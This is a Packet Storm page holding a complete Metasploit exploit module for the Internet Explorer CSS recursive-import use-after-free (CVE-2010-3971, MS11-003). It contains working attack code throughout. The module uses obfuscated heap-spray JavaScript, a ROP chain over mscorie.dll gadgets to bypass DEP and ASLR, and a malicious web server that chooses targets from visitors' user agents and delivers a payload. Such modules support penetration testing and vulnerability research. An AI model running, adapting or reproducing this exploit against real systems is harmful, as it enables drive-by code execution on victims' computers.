Lucene search

K
packetstormJduckPACKETSTORM:98389
HistoryFeb 10, 2011 - 12:00 a.m.

Internet Explorer CSS Recursive Import Use After Free

2011-02-1000:00:00
jduck
packetstormsecurity.com
31

EPSS

0.969

Percentile

99.7%

`##  
# $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking # Need more love for Great  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "7.0", # Should be 6  
:ua_maxver => "8.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:vuln_test => nil, # no way to test without just trying it  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer CSS Recursive Import Use After Free',  
'Description' => %q{  
This module exploits a memory corruption vulnerability within Microsoft\'s  
HTML engine (mshtml). When parsing an HTML page containing a recursive CSS  
import, a C++ object is deleted and later reused. This leads to arbitrary  
code execution.  
  
This exploit utilizes a combination of heap spraying and the  
.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not  
opt-in to ASLR. As such, this module should be reliable on all Windows  
versions with .NET 2.0.50727 installed.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'passerby', # Initial discovery / report  
'd0c_s4vage', # First working public exploit  
'jduck' # Metasploit module (ROP, @WTFuzz spray)  
],  
'Version' => '$Revision: 11730 $',  
'References' =>  
[  
[ 'CVE', '2010-3971' ],  
[ 'OSVDB', '69796' ],  
[ 'BID', '45246' ],  
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ],  
[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],  
[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25)  
[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ],  
[ 'MSB', 'MS11-003' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
  
[ 'Internet Explorer 8',  
{  
'Ret' => 0x105ae020,  
'OnePtrOff' => 0x18,  
'DerefOff' => 0x30,  
'FlagOff' => 0x54,  
'CallDeref1' => 0x20,  
'SignedOff' => 0x1c,  
'CallDeref2' => 0x24,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
[ 'Internet Explorer 7',  
{  
'Ret' => 0x105ae020,  
'OnePtrOff' => 0x14,  
'DerefOff' => 0x5c,  
'FlagOff' => 0x34,  
'CallDeref1' => 0x1c,  
'SignedOff' => 0x18,  
'CallDeref2' => 0x20,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
# For now, treat the IE6 target the same as teh debug target.  
[ 'Internet Explorer 6',  
{  
'Ret' => 0xc0c0c0c0,  
'OnePtrOff' => 0x14,  
'DerefOff' => 0x5c,  
'FlagOff' => 0x34,  
'CallDeref1' => 0x1c,  
'SignedOff' => 0x18,  
'CallDeref2' => 0x20,  
'CallDeref3' => 0x00,  
'CallDeref4' => 0x20,  
'Deref4Off' => 0x08  
}  
],  
  
[ 'Debug Target (Crash)',  
{  
'Ret' => 0xc0c0c0c0,  
'OnePtrOff' => 0,  
'DerefOff' => 4,  
'FlagOff' => 8,  
'CallDeref1' => 0xc,  
'SignedOff' => 0x10,  
'CallDeref2' => 0x14,  
'CallDeref3' => 0x18,  
'CallDeref4' => 0x1c,  
'Deref4Off' => 0x20  
}  
]  
],  
# Full-disclosure post was Dec 8th, original blog Nov 29th  
'DisclosureDate' => 'Nov 29 2010',  
'DefaultTarget' => 0))  
end  
  
  
def auto_target(cli, request)  
mytarget = nil  
  
agent = request.headers['User-Agent']  
#print_status("Checking user agent: #{agent}")  
if agent !~ /\.NET CLR 2\.0\.50727/  
print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727")  
return nil  
end  
  
if agent =~ /MSIE 6\.0/  
mytarget = targets[3]  
elsif agent =~ /MSIE 7\.0/  
mytarget = targets[2]  
elsif agent =~ /MSIE 8\.0/  
mytarget = targets[1]  
else  
print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}")  
end  
mytarget  
end  
  
  
def on_request_uri(cli, request)  
  
print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect)  
  
mytarget = target  
if target.name == 'Automatic'  
mytarget = auto_target(cli, request)  
if (not mytarget)  
send_not_found(cli)  
return  
end  
end  
  
#print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}")  
  
buf_addr = mytarget.ret  
css_name = [buf_addr].pack('V') * (16 / 4)  
  
# We stick in a placeholder string to replace after UTF-16 encoding  
placeholder = "a" * (css_name.length / 2)  
uni_placeholder = Rex::Text.to_unicode(placeholder)  
  
if request.uri == get_resource() or request.uri =~ /\/$/  
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect")  
  
redir = get_resource()  
redir << '/' if redir[-1,1] != '/'  
redir << rand_text_alphanumeric(4+rand(4))  
redir << '.html'  
send_redirect(cli, redir)  
  
elsif request.uri =~ /\.html?$/  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML")  
  
# Generate the ROP payload  
rvas = rvas_mscorie_v2()  
rop_stack = generate_rop(buf_addr, rvas)  
fix_esp = rva2addr(rvas, 'leave / ret')  
ret = rva2addr(rvas, 'ret')  
pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')  
pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')  
  
# Append the payload to the rop_stack  
rop_stack << p.encoded  
  
# Build the deref-fest buffer  
len = 0x84 + rop_stack.length  
special_sauce = rand_text_alpha(len)  
  
# This ptr + off must contain 0x00000001  
special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')  
  
# Pointer that is dereferenced to get the flag  
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')  
  
# Low byte must not have bit 1 set  
no_bit1 = rand(0xff) & ~2  
special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V')  
  
# These are deref'd to figure out what to call  
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')  
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')  
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')  
# Finally, this one becomes eip  
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V')  
  
# This byte must be signed (shorter path to flow control)  
signed_byte = rand(0xff) | 0x80  
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')  
  
# These offsets become a fix_esp ret chain ..  
special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot!  
special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp  
special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)  
  
# Add in the rest of the ROP stack  
special_sauce[0x84, rop_stack.length] = rop_stack  
  
# Format for javascript use  
special_sauce = Rex::Text.to_unescape(special_sauce)  
  
js_function = rand_text_alpha(rand(100)+1)  
  
# Construct the javascript  
custom_js = <<-EOS  
function #{js_function}() {  
heap = new heapLib.ie(0x20000);  
var heapspray = unescape("#{special_sauce}");  
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");  
var heapblock = heapspray;  
while(heapblock.length < 0x40000) heapblock += heapblock;  
finalspray = heapblock.substring(2, 0x40000 - 0x21);  
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }  
var vlink = document.createElement("link");  
vlink.setAttribute("rel", "Stylesheet");  
vlink.setAttribute("type", "text/css");  
vlink.setAttribute("href", "#{placeholder}")  
document.getElementsByTagName("head")[0].appendChild(vlink);  
}  
EOS  
opts = {  
'Symbols' => {  
'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },  
'Methods' => %w{ prepare }  
}  
}  
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)  
js = heaplib(custom_js)  
  
dll_uri = get_resource()  
dll_uri << '/' if dll_uri[-1,1] != '/'  
dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"  
  
# Construct the final page  
html = <<-EOS  
<html>  
<head>  
<script language='javascript'>  
#{js}  
</script>  
</head>  
<body onload='#{js_function}()'>  
<object classid="#{dll_uri}#GenericControl">  
</body>  
</html>  
EOS  
html = "\xff\xfe" + Rex::Text.to_unicode(html)  
html.gsub!(uni_placeholder, css_name)  
  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
elsif request.uri =~ /\.dll$/  
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} .NET DLL")  
  
# Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually  
# use it's contents ...  
ibase = (0x2000 | rand(0x8000)) << 16  
dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))  
  
# Send a .NET v2.0 DLL down  
send_response(cli, dll,  
{  
'Content-Type' => 'application/x-msdownload',  
'Connection' => 'close',  
'Pragma' => 'no-cache'  
})  
  
else  
# Defines two different CSS import styles  
import_styles = [  
"@import url(\"#{placeholder}\");\n",  
"@import \"#{placeholder}\";\n"  
]  
  
# Choose four imports of random style  
css = ''  
4.times {  
css << import_styles[rand(import_styles.length)]  
}  
  
css = "\xff\xfe" + Rex::Text.to_unicode(css)  
css.gsub!(uni_placeholder, css_name)  
  
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} CSS")  
  
send_response(cli, css, { 'Content-Type' => 'text/css' })  
  
end  
  
# Handle the payload  
handler(cli)  
  
end  
  
def rvas_mscorie_v2()  
# mscorie.dll version v2.0.50727.3053  
# Just return this hash  
{  
'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,  
'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,  
'leave / ret' => 0x25e5,  
'ret' => 0x25e5+1,  
'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,  
'pop eax / ret' => 0x5ba1,  
'pop ebx / ret' => 0x54c0,  
'pop ecx / ret' => 0x1e13,  
'pop esi / ret' => 0x1d9a,  
'pop edi / ret' => 0x2212,  
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,  
'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,  
}  
end  
  
def generate_rop(buf_addr, rvas)  
# ROP fun! (XP SP3 English, Dec 15 2010)  
rvas.merge!({  
# Instructions / Name => RVA  
'BaseAddress' => 0x63f00000,  
'imp_VirtualAlloc' => 0x10f4  
})  
  
rop_stack = [  
# Allocate an RWX memory segment  
'pop ecx / ret',  
'imp_VirtualAlloc',  
  
'call [ecx] / pop ebp / ret 0xc',  
0, # lpAddress  
0x1000, # dwSize  
0x3000, # flAllocationType  
0x40, # flProt  
:unused,  
  
# Copy the original payload  
'pop ecx / ret',  
:unused,  
:unused,  
:unused,  
:memcpy_dst,  
  
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',  
:unused,  
  
'pop esi / ret',  
:unused,  
:unused,  
:unused,  
:memcpy_src,  
  
'pop edi / ret',  
0xdeadf00d # to be filled in above  
]  
(0x200 / 4).times {  
rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'  
}  
# Execute the payload ;)  
rop_stack << 'call [ecx] / pop ebp / ret 0xc'  
  
rop_stack.map! { |e|  
if e.kind_of? String  
# Meta-replace (RVA)  
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]  
rvas['BaseAddress'] + rvas[e]  
  
elsif e == :unused  
# Randomize  
rand_text(4).unpack('V').first  
  
elsif e == :memcpy_src  
# Based on stack length..  
buf_addr + 0x84 + (rop_stack.length * 4)  
  
elsif e == :memcpy_dst  
# Store our new memory ptr into our buffer for later popping :)  
buf_addr + 0x84 + (21 * 4)  
  
else  
# Literal  
e  
end  
}  
  
rop_stack.pack('V*')  
end  
  
def rva2addr(rvas, key)  
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]  
rvas['BaseAddress'] + rvas[key]  
end  
  
end  
`